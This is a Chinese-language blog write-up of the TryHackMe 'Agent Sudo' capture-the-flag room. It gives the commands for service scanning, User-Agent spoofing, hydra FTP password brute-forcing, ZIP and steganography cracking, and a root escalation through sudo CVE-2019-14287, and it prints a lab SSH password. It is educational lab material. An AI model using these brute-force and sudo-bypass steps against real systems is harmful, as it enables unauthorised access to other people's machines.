> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Agent Sudo writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-agent-sudo-writeup-zh-tw/
- Published: 2025-10-01T08:47:21.000Z
- Updated: 2026-07-15T02:49:53.000Z
- Author: Kevin Chen
- Tags: tryhackme, stegano, #OSINT, CTF

### 題目資訊

- 平台: TryHackMe
- 房間名稱: Agent Sudo
- 難度: Easy
- 目標: 一連串的挑戰
- 主題: 情報人員
- 連結: [https://tryhackme.com/room/agentsudo](https://tryhackme.com/room/agentsudo?ref=taiwanding.com)

### 發現服務

```
nmap -sC -sV -Pn 10.201.103.23

```

結果

- 21/tcp FTP
- 22/tcp OpenSSH
- 80/tcp Apache httpd

## Step 1: HTTP 線索

  
說明：首頁 index.php 會依 User-Agent 分支；題目提示「用 C」。

```
curl -I -H "User-Agent: C" http://10.201.103.23/index.php
# 302 → Location: agent_C_attention.php

```

重點訊息（精簡）

- 指名 chris
- 請轉告 agent J
- 密碼很弱

結論：很可能有帳號 chris，且密碼弱；亦可能有 james/agentJ 之類使用者。

## Step 2: FTP 枚舉與嘗試登入

先確認是否 anonymous；若不可，針對 chris 做弱密碼測試。

### 以 rockyou 暴力破解

```bash
hydra -l chris -P /usr/share/wordlists/rockyou.txt -f -I ftp://10.201.103.23

```

就拿到ftp的登入密碼

## Step 3: 影像與隱藏檔

在ftp目錄可拿到 cutie.png，對該檔跑 binwalk：

```bash
binwalk -e cutie.png
# 會看到
# 0x365  Zlib compressed data
# 0x8702 ZIP archive data, name: To_agentR.txt (AES Encrypted)

```

### 說明

- 有 AES 加密 ZIP（To\_agentR.txt），需字典破解（zip2john/hashcat or john）

用John來破解zip file的密碼:

```bash
# 建 hash
zip2john _cutie.png.extracted/8702.zip > zip.hash

# 用 rockyou 爆
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

# 爆出來後看明文密碼
john --show zip.hash

```

這邊解出密碼後，馬上解壓縮.zip，可以拿到一個To\_agentR.txt，

```bash
7z x -palien 8702.zip
```

內容中的`QXJlYTUx` 是 Base64 → 解碼成 Area51，可作為後續另一個圖片的隱寫術密碼

## Step 4: 取得 SSH 存取

依zip中解出的.txt檔案，利用"Area51"解碼成功cute-alien.jpg隱藏的檔案，拿到james的ssh登入密碼

```bash
└─$ steghide extract -sf cute-alien.jpg -p Area51
wrote extracted data to "message.txt".

└─$ cat message.txt
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

### 連線

```bash
ssh james@10.201.103.23

```

### 確認使用者目錄

```bash
ls -la
# 可見 Alien_autospy.jpg 與 user_flag.txt

cat user_flag.txt

```

## Step 5: OSINT 小題

登入james的ssh取得 Alien\_autospy.jpg，題目會問照片事件名稱，可以利用scp下載到本機之後，打開圖片，後來用Google image search去找到下面的這個新聞

[Filmmaker reveals how he faked infamous ‘Roswell alien autopsy’ footage in a London apartmentA hoaxer has revealed how he faked an “alien autopsy” using animal organs and pig brains – and managed to fool the world for over a decade.![](https://taiwanding.com/content/images/icon/apple-touch-icon-180x180-1.png)Fox NewsThe Sun![](https://taiwanding.com/content/images/thumbnail/AA-film-2.jpg)](https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment?fbclid=IwAR0s%5FR-JV7yihYjFrDIdEuW%5FLK8eY8BJog13mXga6mKpF3ze2UgrA570hm4&ref=taiwanding.com)

## Step 6: 權限提升偵察

```bash
sudo -l
# 類似輸出：
# User james may run the following commands on agent-sudo:
#     (ALL, !root) /bin/bash

```

這是已知繞過洞（sudo CVE-2019-14287）。

## Step 7: 提權

**說明**: 以 UID -1（轉成無號整數）執行，bypass 目標限制。

```bash
sudo -u#-1 /bin/bash -p
id; whoami

```

### 成功後拿 root 旗子

```bash
cat /root/root.txt

```

## 技術要點

### User-Agent 梗

以 curl 測 UA 是最快方式，若用瀏覽器，裝 UA switcher 直接改成 C。

### binwalk 與雙層藏檔

- AES ZIP 需用 zip2john/hashcat 破解
- 看到「Method = AES Encrypted」時，fcrackzip 不適用

### 提權洞

sudoers 出現 `(ALL, !root) /bin/bash` 時，直接用：

```bash
sudo -u#-1 /bin/bash -p

```

對應 CVE-2019-14287。

## 經驗分享

### 關於Step 3、Step4:

同樣可以利用stegseek這個工具，找到cute-alien.jpg的隱寫密碼

```bash
└─$ stegseek cute-alien.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "Area51"
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".

└─$ cat cute-alien.jpg.out
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

### 關於Step 5:

使用strings、exiftool在靶機都沒有方法，就索性放到本機查看，也才發現是一個OSINT的題目!

```bash
scp james@10.201.103.23:~/Alien_autospy.jpg .
```